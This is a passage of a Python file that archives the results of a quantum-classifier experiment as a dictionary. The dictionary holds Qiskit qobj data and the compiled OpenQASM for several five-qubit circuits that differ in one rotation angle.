] | 11 | 2020-02-18T14:14:40.000Z | 2021-10-10T12:19:23.000Z | experiment_results/exp_sim_regular_20190324T100329Z_archive.py | carstenblank/Quantum-classifier-with-tailored-quantum-kernels---Supplemental | 7c3188f0b71e825bc8ce2b1577a93d10b34abdbc | [
"Apache-2.0"
] | null | null | null | experiment_results/exp_sim_regular_20190324T100329Z_archive.py | carstenblank/Quantum-classifier-with-tailored-quantum-kernels---Supplemental | 7c3188f0b71e825bc8ce2b1577a93d10b34abdbc | [
"Apache-2.0"
] | 2 | 2020-07-08T23:17:01.000Z | 2021-09-27T03:13:32.000Z | # -*- coding: utf-8 -*-
# Copyright 2019 Carsten Blank
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
result = {'experiment': {'qobj': {'qobj_id': '34b05c0a-368b-44aa-bdab-e6b7c82a3f8c', 'config': {'shots': 8192, 'memory_slots': 2, 'max_credits': 315, 'memory': False, 'n_qubits': 5}, 'experiments': [{'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1187', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1189', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1191', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.30000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 